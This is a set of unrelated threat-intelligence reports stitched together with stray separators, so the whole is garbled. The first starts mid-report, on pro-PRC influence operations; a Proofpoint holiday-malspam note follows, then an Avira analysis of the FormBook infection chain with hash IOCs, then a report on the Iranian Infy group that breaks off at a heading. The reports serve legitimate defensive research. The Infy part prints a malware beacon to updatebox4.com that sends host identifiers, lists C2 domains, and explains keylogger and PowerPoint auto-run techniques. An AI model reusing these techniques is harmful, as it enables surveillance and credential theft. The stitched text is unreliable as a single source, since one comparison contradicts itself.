Similar to previously reported activity that has spanned Facebook, Twitter, and YouTube, we have observed coordination between suspected accounts in the network across 30 social media platforms and over 40 other websites and online forums. These accounts have posted similar, and in many cases identical messaging and engaged in the coordinated sharing, commenting on, and liking of text, image, and video content. For example:
- We have observed thousands of identical text posts, images, and videos promoted by accounts on Vimeo, Vkontakte, TikTok, and a number of other platforms claiming that Chinese dissident Guo Wengui, former White House Chief Strategist Steve Bannon, and Chinese virologist Dr. Li-Meng Yan are “liars” in response to Dr. Yan’s claim that the coronavirus was created in a Chinese lab. Videos featured characteristics typical of those promoted by the network historically, including Chinese and automated English-language voiceovers.
- In some instances, accounts on one platform have directly provided their corresponding social media handles on other platforms in their bios. For example, we have observed accounts on LiveJournal posting in Russian, English, and German provide handles for corresponding Twitter accounts that all posted in English. Different accounts across different platforms have also appropriated the same profile photos, including photos of models and stock photography. We also observed instances of forum posts linking to other accounts in the network.
We have observed extensive promotion of Russian, German, Spanish, Korean, and Japanese-language content on U.S. and non-U.S.-based platforms, in addition to the typical English and Chinese-language activity that has been widely reported on. This represents a significant development in our collective understanding of this pro-PRC activity set. For example:
- We observed Russian-language posts on LiveJournal claim that U.S. Ft. Detrick was the source of the coronavirus and that China was “not the source” of the virus, a long-promoted and extensively reported narrative of this activity set that has also been promoted by Chinese state-run media outlets since early 2020. Additionally, we have observed Russian-language posts on both LiveJournal and VKontakte by accounts we have tied to the network cite unconfirmed studies to claim COVID-19 may have appeared in the U.S. as early as December 2019.
- We have observed several instances of multiple inauthentic VKontakte accounts reposting Russian translations of posts by what appear to be authentic English-language Twitter accounts belonging to individuals who claim to have contracted COVID-19 in late 2019 in the U.S. and other locations outside China. We also observed a small number of Russian-language posts by VKontakte accounts in the network state that Taiwan and Hong Kong are Chinese territories.
- We observed German and Spanish-language content on LiveJournal and the Argentine social media site Taringa that also attempted to cast doubt about the origins of COVID-19. Posts in German on LiveJournal cited unconfirmed studies to claim that COVID-19 may have appeared in the U.S. before January 2020, while posts in Spanish on Taringa claimed that U.S. Ft. Detrick was the source of COVID-19 and linked to third-party articles that claimed that the virus appeared in the U.S. and Europe before China.
Notably, some of the Russian and German-language posts we observed contained recurring grammatical errors, a limited indication that they may have been authored by non-native speakers of those languages. For example, we observed Russian-language LiveJournal posts by accounts purportedly operated by female bloggers use a masculine-tense verb for the phrase "Я увидел" (Translation: "I saw"), which should read "увидела" if written by a female Russian speaker.
## Attempts to Physically Mobilize Protestors in the U.S.
In April 2021, thousands of posts in languages including English, Japanese, and Korean, images, and videos were posted across multiple platforms by accounts we assess to be part of this broader activity set that called on Asian Americans to protest racial injustices in the U.S. The accounts specifically called on Asian Americans to protest on April 24 in New York City and “fight back” against the purported “rumors” caused by Dr. Li-Meng Yan, Guo Wengui, and Steve Bannon, and in some instances provided an address that they claimed Guo lived at.
Subsequently, we observed posts by accounts in the network portray the advocated April 24 New York City protest as a success, claiming that Asian Americans, other minority groups, and Caucasian protestors attended. Other posts claimed that these protesters were met by Guo Wengui’s “supporters,” who “violently assault[ed]” them. As part of this claim of success, we observed a manipulated image in which the face of Dr. Yan was superimposed onto a sign held by a purported protestor and shared across nearly all the social media platforms and forums that we have seen leveraged as part of this broader activity set. We identified the image to be a manipulation of a picture taken at a rally against racial discrimination that took place in Jamestown, NY, on or around April 23, 2021.
Despite these claims, we have not observed any evidence to suggest that these calls were successful in mobilizing protestors on April 24. However, it does provide early warning that the actors behind the activity may be starting to explore, in however limited a fashion, more direct means of influencing the domestic affairs of the U.S. We believe it is important to call attention to such attempts and for observers to continue to monitor for such attempts in future.
## Conclusion
Our aim with this blog post is to provide early warning of two significant developments that we believe are important to monitor for despite the limited impact of this pro-PRC campaign thus far. First, the activity is taking place not just on the big three social media giants, but on at least 30 social media platforms and dozens of additional websites and forums, and in languages including not just English and Chinese, but also German, Russian, Spanish, Korean, and Japanese. This suggests that the actors behind the campaign have significantly expanded their online footprint and appear to be attempting to establish a presence on as many platforms as possible to reach a variety of global audiences. Second, the attempt to physically mobilize protesters in the U.S. provides early warning that the actors responsible may be starting to explore more direct means of influence and may be indicative of an emerging intent to motivate real-world activity outside of China’s territories. |
# Holiday lull? Not so much
**Overview**
For at least the last two years, Proofpoint researchers have observed a seasonal lull in activity around the Thanksgiving holiday and during the weeks between Christmas and Russian Orthodox Christmas (January 7). Activity during the Thanksgiving 2017 holiday, however, was higher than in previous years, with multiple campaigns targeting a variety of regions. Examining year-over-year differences in malicious message volumes for the period of December 15 through January 12 revealed that, while activity dropped during this period, it remained significantly higher than what we observed the previous year and returned to near pre-holiday levels more quickly after January 7 than in 2017.
**Analysis**
Figure 1 shows a year-over-year comparison of message volume for the period of December 15-January 12. The week leading up to Christmas 2016 had significantly higher volumes than during the same week in 2017, primarily due to Locky ransomware campaigns distributed by TA505. Just before, we observed a slight jump in traffic around Christmas 2017 relative to both previous weeks in 2017 and the same week in 2017. Unlike in 2016, some actors seemingly worked through that week during which we generally expect very limited activity.
Because the activities of threat actor TA505 tend to obscure the campaigns of other threat actors, breaking down activity during this period by actor gives a better sense of the nature and diversity of malware involved in these campaigns over the holidays. The following actors were actively conducting campaigns after December 22, 2017, but were inactive the year before between December 22, 2016, and January 2, 2017:
- **TA542** – We began tracking the actors behind Emotet in April of 2017 and as a result, did not track them during the 2016 holiday season. TA542 campaigns have appeared consistently since they emerged in April and, during the Christmas week, we observed Emotet distributed via URLs that led to malicious Microsoft Word documents with embedded macros used to download the malware. On at least one occasion during the Christmas week, Emotet also downloaded Zeus Panda. This instance of Zeus Panda primarily targeted online retail sites during the holiday season.
- **TA505** - The actors behind the massive Locky and Dridex campaigns of the last two years also passed up the full two-week Christmas break this year, relying heavily on malicious VBScript and JavaScript files in 7-Zip archives to deliver primarily GlobeImposter ransomware, with two separate large campaigns on December 27 and 28. In early 2017, TA505 took a nearly three-month hiatus before resuming campaigns; this year, their campaigns resumed on January 11 after less than a two-week break around the Russian Orthodox Christmas. It is worth noting that TA505 activity is highly dependent on the Necurs botnet, so some of their quiet periods may relate to botnet disruptions or maintenance. However, we observed increases in activity from multiple actors this season, suggesting that this is not an artifact exclusively related to TA505 distribution.
- **TA544** – We observed a campaign targeting Japanese users dropping URLZone from malicious Microsoft Excel documents, which eventually led to a final Ursnif payload. This was the first time in several months that we had seen this particular infection chain.
- **TA543** – We identified another Ursnif campaign, this time targeting Australian users, via malicious Microsoft Word documents during the Christmas season. The campaign utilized a familiar theme, namely a billing notification lure using stolen branding for a widely recognized New Zealand-based accounting software company.
**Conclusion**
For years, threat actors typically avoided sending large, broad-based campaigns on major American and UK holidays and weekends. However, that tendency appears to be changing, perhaps because of widening geographical targets, attempts to have malspam waiting in crowded inboxes when users return from holidays, or attempts to deliver malware when defenders within organizations are more likely to be out of the office. Moreover, the heightened threat actor activity of the 2017-2018 holiday period reflects the broader trend of 2017 as a whole, a year that saw fewer sustained disruptions in campaign activity by major threat actors. Whatever the reason for the change, it appears that some seasonal trends may be shifting such that defenders and end users should be prepared at all times to deal with both high-volume and targeted campaigns across geographies. Of particular note are campaigns from TA505 -- because this actor frequently drives a large percentage of global malicious spam, their much more rapid return to activity following the Russian Orthodox Christmas compared to 2016-2017 as well as higher levels of activity around the western Christmas holiday at the end of 2017 stands out as a potential indicator of a change in tactics. |
# A New Technique to Analyze FormBook Malware Infections
FormBook is a well-known malware family of data stealers and form grabbers. Sold on hacking forums as ‘malware-as-a-service,’ it has previously targeted the aerospace, defense, and financial sectors and has been thoroughly researched. In this article, we will use a new technique, developed by Avira researchers, to analyze the infection process, breaking it down into individual steps.
## Overview
By: Malina Rosu, specialist virus analyst, Avira Protection Labs
FormBook malware is typically spread through web browsers, mail, FTP clients, and instant messaging applications via malicious attachments such as Office documents and PDF files. The malware can inject itself into processes and install function hooks through manual execution of phishing emails and opening malicious attachments. Its capabilities include capturing screenshots, stealing credentials, keystroke logging, and clearing browser cookies. Data thefts are most effective when the victims use a virtual keyboard, auto-fill, or if they copy and paste information to fill a form.
The FormBook infection takes place in multiple stages. In our example, the infection begins when a user receives an email with a malicious Office .docx file attachment presented as a purchase order. Other files included are a Rich Text Format file with seven other embedded Excel files, two script files (one VBS file, one image file which is actually an obfuscated script file), and some PowerShell commands.
There are six different steps in the process, not all of which are immediately obvious, but can be understood when the entire process is completed. For example, the malware deletes the notepad.exe from System32 because the malware will ultimately execute under this name.
## Infection Analysis
The infection vector in our example is an email. It apparently contains a valid purchase order (PO20200217.docx) that appears to have been sent to the wrong email address.
### Stage 1: Analyzing the Attachment – the docx Documents
We execute the document in a virtual environment allowing us to check its malware capabilities. The document connects to a URL and attempts to download the payload via a connected URL – a Rich Text Format file. It is a docx file with Open Office XML format. In settings.xml.rels resides an XML file with an external relationship of type attachedTemplate embedded in the document that redirects to an external resource. After the payload is successfully downloaded, a PowerShell command is used to delete the notepad.exe from the System32 folder.
### Stage 2: Analyzing the First Payload – the RTF Document
Analyzing the .rtf file document with RTFScan reveals eight OLE embedded objects. Seven out of the eight objects were similar Excel files, all being executed as seen in the Process Monitor capture.
### Stage 3: Analyzing the Second Payload – the XLS Documents
We show the analysis flow for one of the Excel documents below because they are all similar. The file name ‘payload_1.exe’ together with a low number of detections from VirusTotal makes them suspicious. Execution of the Excel documents results in warning pop-ups for Enable Content, requesting the user to enable macros. Enabling macros has no effect on the document; it appears damaged.
At this point, many users would close the file and move on. However, before executing the file, we analyzed the file behavior on Process Monitor. The files were not damaged at all. The attackers have hidden the document file on purpose, making it appear blank when opened. The macro code is executed before the document is closed, and it appears that it executes the text it finds in the TextBox 1, which is hidden as it contains a PowerShell command.
The command, hidden in the textbox, downloads and executes a Visual Basic script. The script file also had only a few detections from AV scanners in VirusTotal.
### Stage 4: Analyzing the First Payload – the Visual Basic Script
To avoid detection, the Visual Basic script is obfuscated using string manipulation functions such as reverse, split, replace, concatenation, and hex encoding. We hex-decoded the Fly subroutine. The malicious script that executed in the global namespace overwrites the initial Fly subroutine. This is shown by the two Fly subroutine calls at the very beginning of the malicious script.
The new Fly subroutine makes use of the Windows Management Instrumentation to execute the PowerShell script received as a parameter. This is done with hidden property enabled to hide its presence from the user. The PowerShell makes a GET request to the website and manipulates the response to download the fifth stage payload. The script achieves persistence by copying itself to “\Appdata\Roaming\” folder and adding itself to the current user registry Run key.
### Stage 5: Analyzing the Second Payload – the att.jpg Image
To establish if the jpg file was indeed an image, we use the Hex editor. The .jpg file had the first four bytes FF D8 FF EO, so it is unlikely to be what it claims. The character “-” linking the bytes also indicates that the file is not legitimate. To examine the malicious file and figure out what the file hides, we need to understand how the script manipulates the file after downloading it. It performs a split action by “-“, and then a hex to ASCII decoding. The below image shows two very long hex encoded strings – Cli1 and Cli2, and a function – UNpack.
The UNpack function performs a Gzip decompression of the Cli string. Since the magic number for a GZIP archive file is 1F 8B 08 (as seen in the first part of the string), it seems likely that it is a GZIP. We get the payload (a dynamic library file) after decompressing the Gzip byte array and replacing “$%” in the Cli string. The dynamic library file – Pineapple.dll – is loaded in the following line of the script. Following similar steps, we conclude that the second string is an executable file – attack2_cli2.exe, part of the FormBook malware family. Avira detects it as TR/Crypt.ZPACK.Gen. The file is executed under the name notepad.exe. This is the main reason why the first document deleted the legitimate notepad executable file from the System32 folder.
## Conclusion
FormBook malware is very agile in its behavior and effective in hiding malicious intent. It can easily trick users into executing it. Despite not being broadly used, FormBook represents a real threat: It is stealthier and more powerful than other malware.
## IOCs
| SHA256 | File type |
|---------------------------------------------------------------------------------------|-----------|
| a8c6456fb40ee49af00ac856c7ec58f314bb593f5aca991d0c8adc18ca5e3868 | eml |
| 9227ad6740207c4150a96b38c42792e57aa6258ab56763c1e9c4df7d97239559 | eml |
| 468313d0dea135d610d08cda83d34523f48f0e7a9e829eb88ec24dcc2e7b8bfb | eml |
| 85218477e69ef0889cc78566c972c53332046f1c5d1201bae9bf288fafa27c53 | docx |
| 1e031429d31c0d3e456669636d6ab370d1ca8fe02df702c7b875bc50ae43245b | rtf |
| f0b21a76949e1403e948acc020d6c3f03ffdb338a15bd3006e7eb5c40da69cf0 | xls |
| 811dfd3270bd9203c65d3e1f737cbabf2404b83507f90f416a2dcae28cc223d2 | xls |
| f12de42e9bd05e89256f1aa70ba90cae8178826e3b751d4f98fd40d4119196d6 | xls |
| 74902beea45467517e9f29131b2633110c090dc07f4b158089fc74baaf84ab98 | xls |
| ce7bb44456aed206be1bc2cda0e6e33a209b1939745dce5060b3342d135205bc | xls |
| 2dd3cec76010e43b0e594a2d3d693be9d6e14e946e1ddea1bec02ccbcae9b854 | xls |
| f38b76f7792bb6d5d372c79fb943a777d05f32c5e041e7505ce623aff9b8de0e | xls |
| 96be0e8c566a0568f67efda85d0f522a9627973db4098d80c3a91ccd424540f7 | xls |
| 187ac08a1c4f8b8111824083a200824113474eca9e7b9807ed1d81e2d653b558 | xls |
| 3024bd7d2f89ec07350a13f7fa74a4e83e9f434266c37cbecaa56d68233ef416 | xls |
| 1d67c5459b79801bca4192c1b4e80344cd7706272e6e6b7cd6e8cbd7c10caad4 | vbs |
| f9f7c1312d20d68fc09d4fea2b58a52b6374f5b2ec88be162f655146379e1231 | exe |
| 18a86d81ef592cb588e609a66c03793f93dd3466a7e9403280c81bd0034bbdad | dll |
| 47405c182c4f99dd120fb0b7fded1720a9e44bad379a6304cd067027fadfcd32 | att.jpg | |
# Iran and the Soft War for Internet Dominance
## Summary
Over the past decade, the Islamic Republic of Iran has been targeted by continual intrusion campaigns from foreign actors that sought access to the country's nuclear facilities, economic infrastructure, military apparatus, and governmental institutions for the purpose of espionage and coercive diplomacy. Concomitantly, since the propagandic defacements of international communications platforms and political dissident sites conducted by an organization describing itself as the "Iranian Cyber Army" beginning in late 2009, Iranian actors have been attributed in campaigns of intrusions and disruptions of private companies, foreign government entities, domestic opposition, regional adversaries, and international critics. While Iran maintains strong technical universities and an extraordinarily active defacement community, the country has not invested in its capacity for Internet-based espionage to the same degree as its traditional geopolitical rivals and is less able to seek capabilities abroad from companies such as Hacking Team or Finfisher due to its pariah status. As a result, the computer network operations attributed to Iranian actors provide insight into the behavior of a country under scrutiny due to its conflictual relationships with regional adversaries and may reflect the general trajectory of other countries seeking to use espionage on modern communications technologies to pursue their own geopolitical interests.
Civil society and political opponents are a primary target of Iranian intrusion campaigns, which gives rise to the motivation and basis for our research into the ecosystems and threats originating from the country. This document serves as an initial technical overview in complement to a forthcoming publication from the Carnegie Endowment for International Peace on Iran-based computer network operations and is intended to provide the following:
- First accounting of a new threat actor targeting interests aligned with the Iranian state.
- Additional research on the activities of the Infy group, which supports and extends accounts of the group's activities recently disclosed elsewhere.
- Documentation of new developments in the malware and activities believed to be connected to known threat actors Rocket Kitten and Operation Cleaver.
- Descriptions of tactics by known actors in response to political events inside of Iran and changes in the use of personal communications tools by the public, namely the mass adoption of Telegram.
Our research incurs classic issues applicable to all reports on intrusion campaigns, primarily questions of attribution and intent. The end objective of particular CNO activities is not always discernable based on the tactics used or the data accessed, as the end implications of the disclosure of particular information are often distant and concealed from even the target. Where such intent is made evident, the reasons for Iranian intrusion campaigns range from retaliatory campaigns against adversaries, as a result of identifiable grievances, to surveillance of domestic opposition in support of the Islamic Republic establishment. Iranian intrusion sets appear to be interested in a broad field of challenges to the political and religious hegemony of the Islamic Republic. Previous reports on Iranian campaigns have referred to the targeting of Iranian dissidents; however, in practice, those targeted range from reformists operating within the establishment from inside of Iran to violent extremist organizations outside. Therefore, Iranian CNO activities should be considered as a tool in the context of broader state activities and policies, including offline events.
For the purpose of organization, this document is divided based on the actor group that we believe to be responsible for the tools, incidents, and activities under discussion. We also attempt to blend the context and history of incidents with the technical specificities in each section, broken out into different subsections. In order to avoid further expansion of this document, we momentarily defer to previous reports for context about groups, with the intention of extending this background narrative later. In practice, the distinction relied upon is artificial, as the boundaries between groups at times appear less clear, and tactics have evolved rapidly in response to external pressure. For example, in past reports that have identified Iranian malware such as Madi, Stealer, and Sayyad, these families of agents appear to fall into disuse within a short period of their discovery and public attribution to Iranian entities. Such discontinuity, and the opacity even within activities published on, has further reinforced the difficulty in constructing a cogent narrative of specific threat groups. This aspect of the ecosystem is not in scope here, and we focus instead on technical documentation and will revisit the context in our forthcoming research. Finally, this document is intended to be the first release in a set of continuing disclosures and should be considered a living resource; subject to revision, reconsideration, and provided with the promise of expansion.
## Introduction
Over the course of three years of observation of campaigns targeting civil society and human rights organizations, from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora, a narrative of persistent intrusion efforts emerges. From Madi onward, Iranian threat actors maintain a consistent set of interests and activities that blur the lines between domestic surveillance and foreign commercial espionage. This pattern continues across subsequent groups. Infy engaged in malware spearphishing against the same targets as Flying Kitten from the outset of its campaign; Operation Cleaver has registered several resources related to development agencies that have been the subject of intrusion attempts by others since February 2014. This documentation provides new insight into intrusion efforts conducted by at least four discrete Iranian threat actors, Rocket Kitten, Infy, Sima, and Operation Cleaver, including groups and tools that have not been previously disclosed.
Attribution of different Iranian intrusion efforts has been made possible through the reuse of common templates and infrastructure over long periods of time, coupled with failures in operational security that exposed information on the actors behind the campaigns. These approaches are imperfect, as the participants often attempt to break patterns after publicity has called attention to their activities and provided critical external feedback on their strategies. No collected documentation demonstrates the process of selecting targets or coordinating campaigns; however, many of those targeted would be later singled out by other actors, and their targeting aligns with Iran’s political environment. The intrusion sets documented have clear indications of being solely Iranians inside of Iran, with little indication of participation from Iranians in the diaspora or support from non-Iranians. At the most basic level, the groups of actors follow similar patterns of life approximating that of an Iranian workday (Saturday through Wednesday) and are fully dormant on Iranian holidays, particularly the long vacation period of Nowruz.
Based on our longitudinal account of infrastructure employed in intrusion attempts against civil society, we find that the activities of Iranian actors date back further than previously documented and cover a richer set of targets. Iranian threat actors have responded to improved information security practices amongst its target populations and increased pressure resulting from publication of their activities. The Sima and Operation Cleaver groups represent the most sophisticated spearphishing campaigns observed from Iran thus far, using open mail relays to send professionally-tailored messages based on monitoring of target interests and emotional manipulation, such as stark threats of immigration issues as the Department of Homeland Security. While such campaigns may not represent Iran’s graduation to a first or second tier power, these incidents impact livelihoods, and their documentation provides tactics of public accountability. The study of these properties and the similarities between actors lends insight into the capabilities and interests of Iranian intrusion sets, and foreshadows future activities.
## Campaigns and Actors
### Infy
#### Introduction
Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human rights activists in the beginning of 2015. In line with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy,” which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel, with commonalities in behavior but differing functionalities; families described as Infy and Infy M. Our primary observation was of the Infy (non-M) malware, which primarily functions as a keylogger for the collection of account credentials. Until the publication of the Palo Alto report, the developers of the Infy appeared to be actively updating and maintaining the codebase, and new releases were distributed to existing, as well as new, targets quite regularly. At the time of writing, the latest Infy keylogger was version 00031, which appears to have been interrupted by public disclosure before it reached wide deployment, with our first collected samples appearing in May 2013. Other samples were found bearing a compilation time as early as June 2012 and version 00002. Similar to the increase prior to the parliamentary election, these first samples appeared coinciding with Iran’s Presidential election – then a critical moment due to being the first Presidential election since the highly-contested Green Movement.
Our analysis indicates that the Infy malware agents have been employed for compromising targets pertinent to the internal security interests of the Iranian government since at least July 2010. Infy is evidently an intrusion operation that has been running for several years, even continuing on in some form since the publication of the activities, with new agents found from late June 2016.
#### History and Tactics
Prior to the June 2013 Presidential election, staff members of BBC Persian and other Persian-language satellite television networks received a series of files purporting to be statements from political opposition groups inside of the country. One message claimed to be from Mohammad Taghi Karroubi, the son of reformist politician Mehdi Karroubi who ran for presidency in the 2009 elections and has been under house arrest since February 2011. The document discusses the disqualification of former President Hashemi Rafsanjani from the elections, the role of the Guardian Council in the vetting of candidates, and whether reformists should vote. The original source of this document is unclear. The text also does not appear to have been publicly available and may have been falsely attributed to Mohammad Taghi.
As the election neared, successive documents with the filenames of “Statement” and “Alliance” in Persian were sent from the same Gmail address to a widening set of media figures outside of Iran, such as Nima Akbarpour and Nikahang Kowsar, and social network users supporting reformist figures. While the defacements and mass phishing events, conducted by other groups in parallel to the malware emails, waned after the elections, the intrusion attempts from the Infy malware group did not. The culprits behind the campaign expanded tactics, sending malware embedded in PowerPoint presentations topical to events in Iran, such as “Iran’s Nuclear Power!” and impersonating others to leverage social trust. Over the months following the elections, the accounts of Iranians that had been compromised by the actors were then used for spreading the malware. The personal email of an employee of VOA’s Persian News Network was used to send the Infy malware to other journalists, attached as files named “Visual” and “Invitation Card.” Shortly after, in August 2013, a typographic email address claiming to be a reformist activist and journalist was used to approach a Persian-language broadcaster and a Green Movement supporter, with malware samples embedded in content related to poverty. Similarly, an imposture account posing as an Iranian professor of political science and media commentator was used to approach a BBC Persian presenter and others in the following year.
Our observation of Infy’s campaigns, primarily through the lens of spearphishing attacks against Iranian civil society and media organizations, indicates a wandering focus on particular demographics on a strategic basis over time. When activities targeting civil society subsided, the actors instead appeared to have focused on external targets, such as a series of attempts to spearphish the Danish Ministry of Foreign Affairs. The Infy malware was seen targeting Iranians again in June 2015, when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled “Nostalogy.”
Based on samples and observations of spearphishing attempts, it appears that during this time there was an evolution in Infy’s infrastructure and tactics, connected with renewed attempts at surveillance of diaspora organizations. Based on information collected in the course of this research, the targets and victims of Infy’s campaigns have continued to be strongly aligned with Iran’s “soft war” agenda, internal security policies, and regional adversaries of the hardline establishment of the Islamic Republic of Iran. The trends align with campaigns concurrently conducted by other known Iranian intrusion sets, even to the extent of overlapping intrusion attempts and shared successful compromises of targets.
Until late December 2015, in nearly every Infy message documented since our tracking began in May 2013, no attempt included strong tailoring of the approach, often not even including an email body, instead relying on cryptic filenames and email subjects to attract interest. That December marked a meaningful departure from this pattern, as the culprits began to add more descriptive information to their attempts, addressing topical issues and catering to the interests of the target. As in the past, these messages have been sent from accounts believed to be fake and accounts compromised by Infy, including Kurdish activists that had previously been compromised by the Flying Kitten actor group.
The targets and timing of this shift align with increased attention to the political environment in the lead-up to the February 2016 Parliamentary Election. One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran, claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges. These messages have also encouraged their targets to share the documents with other human rights organizations and media outlets, in the hopes of further increasing their potential reach. These improved pretexting tactics are well connected to the press cycle. Within days of the mass disqualification of reformist parliamentary candidates by the Guardian Council, one message claimed to cover opposition protests; another, purported to contain Hassan Khomeini’s reaction to the rejection of his religious credentials in his attempted candidacy for the Assembly of Experts.
#### Watering Hole
Contact information and infrastructure used in the operations of the Infy group implicate a broader set of domains than those directly used in command and control operations with the agent. These domains commonly reflect a naming schema related to blogging and visitor analytics (e.g., “bestwebstat.com”). Based on live and archived examples of such tactics, a subset of the Infy group’s domains appear to have been used in order to stage watering hole attacks against ethnic minority populations and militant organizations over the course of at least five years.
Our earliest observed watering hole incident, occurring in July 2010, involved intrusions into the “Taftaan News Agency” and “Jonbesh-e Moqavemat-e Mardomi-e Iran” blogs, sites associated with the Balochistan-based Jundallah – a militant movement internationally recognized as a terrorist organization. Shortly after the suspected time of intrusion, at least one target had warned its visitors that an old email address connected to the site had been compromised by actors it claimed were associated with Iranian intelligence agencies and then used to target others in the community. The following day, the administrators noted technical issues as a result of these attacks in a post announcing the closure of the site. The actors behind the incidents gained access to pertinent sites and embedded a hidden iframe in the target page claiming to be a “Stat Counter” in order to disguise the intention of the malicious code. The malicious iframe appears to have used well-known ActiveX vulnerabilities for IE6 and IE7 (which would have still been used in 2010) in order to push an early version of one of the Infy agents to visitors. In addition to common infrastructure and recognizable binary names related to other Infy attacks, the delivering mechanism included Persian-language comments on the functioning of the code within its otherwise packed Javascript.
The use of watering hole tactics continued until at least the middle of May 2015, when a Kurdish news site (Kurdistannet) was similarly compromised for the purpose of delivering the Infy M agent. The intrusion into the Kurdish site aligns with the organization’s documented history of targeting Kurdish activists, particularly those based in Iran or of Iranian nationality.
#### Victimology
While not indicative of the full extent of other intrusion operations the Infy group might be running, as of March 31, 2016, we observed a total of 236 unique victims distributed across 27 countries from solely versions 25 through 30 of the Infy (non-M) agent. Interestingly, the number and the nature of victims have reflected political events and the evolving geopolitical interests of Iran. For example, we observed new compromises located in Saudi Arabia in the fallout between the countries after the execution of a Shiite cleric and the Mina Hajj stampede.
The primary targets of these campaigns have consistently been Iranians inside of Iran, with 48% of identified intrusions connected with IP addresses located in Iran, in addition to a strong interest in Iranians in the diaspora, as indicated by the messages in bait files and hostnames we were able to observe. The attackers maintained a secondary interest in espionage against regional adversaries and neighboring states. This characteristic matches previously documented CNO campaigns. As with Flying Kitten and Rocket Kitten, the resources and personnel leveraged in Infy campaigns against domestic opponents overlap with espionage against perceived external threats. Moreover, the locations and discernable nature of the compromised hosts align with known policy objectives of the Islamic Republic. It is worth noting that in order to establish a more accurate count, we had to deduplicate records from victims appearing to connect from multiple countries. Unsuccessfully, many victims located in Iran had been using VPN services, leading to connections from a changing set of countries that their circumvention tool had tunneled traffic through. Efforts were made to exclude circumvention tool IPs and determine the clients that were originally based in Iran despite their tunneled traffic.
#### Infy Tools & Techniques
In order to initially compromise the designated targets, the attackers typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks. The attackers in most cases took existing PowerPoint presentations or crafted new ones and inserted some PE32 dropper as a Packager Shell Object inside the title slide. Interestingly, several of these documents expose the original file path in the attacker’s computer, showing the account name of the user who crafted the attacks.
With the executable embedded in the presentation, by assigning an “On Previous” custom “Object Action” animation, it is automatically extracted to %Temp% and executed in the moment the presentation is launched. Normally, the victim would have to click “Ok” to a security warning dialog before the dropper can proceed with its execution. Ironically, the patches introduced by Microsoft to fix the Sandworm vulnerabilities have changed the security dialogs to messages that are a lot less alarming. As showed in the previous picture, the attackers also tend to create multiple Packager Shell Objects, eventually triggered by different events, probably to increase the chance that the victims would concede into running the payload.
In more recent iterations of these malicious documents, the attackers started protecting them with a password, so that they can only be opened in read-only mode, making their inspection slightly harder. The main malware artifact that we observed employed by this group is a very simple keylogger developed in Delphi. It is compiled in the form of a Windows DLL file that is installed by an initial dropper inside the “C:\ProgramData\Adobe\” folder (or “C:\Documents and Settings\All Users\Application Data\Adobe\” folder in older versions of Windows), named “airplugin.vX.X.X.dll,” and registered in the Windows registry to be executed at startup through rundll32.exe and with the arguments “startX /exc” (where X is a digit like 1, 2 or 3, depending on the version of the malware). Before installing it permanently, the file is also temporarily stored with the filename pattern “mpro.X.X.X.dll.”
One of the latest versions employed at the time of writing, marked as 00030, saw a change in the naming scheme of the files, as well as of the functions exported by the DLL. For example, the latest sample we obtained and utilized on mid-April 2016 is installed in the folder “C:\ProgramData\CyberLink\” with name “CLMediaLibraryX.X.X.dll” and it is executed with the arguments “mainf /rcv.” The Infy malware is very limited in functionality and seems to have been primarily designed to record keystrokes, that are then stored in a ROT-obfuscated .dat file and later uploaded to the primary command and control server. While most Windows keyloggers either intercept keystrokes at kernel level or by using either the GetAsyncKeyState or SetWindowsHookEx win32 APIs, Infy instead uses RegisterHotKey to install global hotkeys on all available keys. While this is a known technique, it is relatively uncommon due to the simplicity of the alternatives previously mentioned.
Probably in order to prioritize later inspection by the attackers, the log file highlights keystrokes that have been recorded from known browser windows (Internet Explorer, Firefox, Chrome, and Opera). It is plausible that the main intent of the attackers is to steal credentials for email and social media accounts, as was seen amongst other Iranian actors, such as Flying Kitten.
Additionally, the Infy malware initiates a separate Timer and it periodically invokes the GetClipboardData API to copy and store the content in the same .dat log file. This additional interception might have been employed to circumvent the use of password management software, a common component of digital security trainings, that allow the users to avoid remembering and manually typing the passwords for logging into all the different online services they commonly access.
#### Network Infrastructure and Communications
The Infy malware is designed to regularly beacon back to an HTTP server controlled by the operators. At first, it performs an initial check-in with the command and control to register and eventually fetch updates. The URLs and the arguments used by the malware have occasionally changed, but at the time of the broader infrastructure takedown this function looked like the following:
```
GET /glp/uglp.php?cn=[COMPUTER NAME]&dn=1&ver=[VERSION NUMBER]&lfolder=f1&cpuid=[CPUID]&machineguid=[MACHINE GUID]&tt=[TIMESTAMP] HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: updatebox4.com
Cache-Control: no-cache
```
The response from the server would appear as a page not found error:
```
HTTP/1.1 404 Not Found
Date: Fri, 01 Jan 2016 12:59:59 GMT
Server: Apache
X-Powered-By: PHP/5.3.23
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
```
After the first beacon, and at a certain interval, the versions of Infy malware observed would then make a POST request to the URL “/glp/rglp.php” containing information on the system, a timestamp, and an encoded and obfuscated copy of the log file generated by the keylogger. Interestingly, the server would respond with an “OK” followed by a common PHP error caused by mishandling the generation of the response, which exposes the actual file path of the script and indicates an intent attempt to modify headers.
Under the last observed versions of the Infy agent, the C&C domain was updatebox4.com. As noted by the Danish Defense Intelligence Service’s Center for Cybersecurity and Palo Alto’s research into previous Infy and Infy M variants, the domains used for communications changed across different versions, potentially as a result of their blacklisting and detection by antivirus products.
The following are other domains we observed used as command and control in the past:
- bestupdateserver.com
- updateserver1.com
- updateserver3.com
### A Not So Clever Failover Strategy
